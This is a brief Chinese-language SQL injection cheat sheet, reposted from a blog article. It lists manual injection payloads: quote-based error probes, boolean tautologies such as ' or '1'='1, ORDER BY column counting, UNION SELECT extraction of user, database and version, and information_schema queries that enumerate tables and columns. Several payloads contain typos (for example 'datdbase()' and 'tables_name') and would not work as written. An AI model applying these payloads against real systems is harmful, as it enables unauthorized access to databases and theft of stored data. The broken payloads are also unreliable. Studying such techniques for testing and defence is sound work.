sql手注

SELECT*FROM user WHERE user=’uname’ AND password=’pass’

·基于报错的检测方式

‘ ”  % ()

·基于布尔的检测

1′ or ‘ 1’=’1   /  1’ and ‘1     or 被过滤后用||

1′ and ‘1’=’2 /  1’and ‘0\     and被过滤后用&&

·列表数、显示信息位于哪一列

‘ order by 9–+  #按照查询列号排序(注释符 –)数据库直接返回报错信息,可以直观的判断列数(不报错的那一列)

select*是表字段数=查询字段数

·联合查询

‘ union select 1,2–  判断输入的存在于那里

union select user(),database()–

union select user(),version()–

‘ union all select datdbase(),2–

判断是否存在为空的字段

‘ and usea is null–

如果不存在为空的字段不会有变化,如果存在为空的字段会报错。非常直接的返回内建报错信息,非常清晰的判断列是否在目标服务器上存在。

盲注

基于逻辑真假的不同结果来判断

·1’and 1=1–+

·1’and 1=2–+

1’order by 5–判断列的数量

联合查询相关信息

2′ union select 1,2–

1′ union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())–

联合查询原数据库中的所有表名

1′ and 1=0 union select null,table_name from information_schema.tables#

查询当前表名

1′ and 1=0 union select null,tables_name from information_schema.columns where tables_name=’users’#

    原文作者:Co0ontty
    原文地址: https://www.jianshu.com/p/e0420cb9b0c9
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞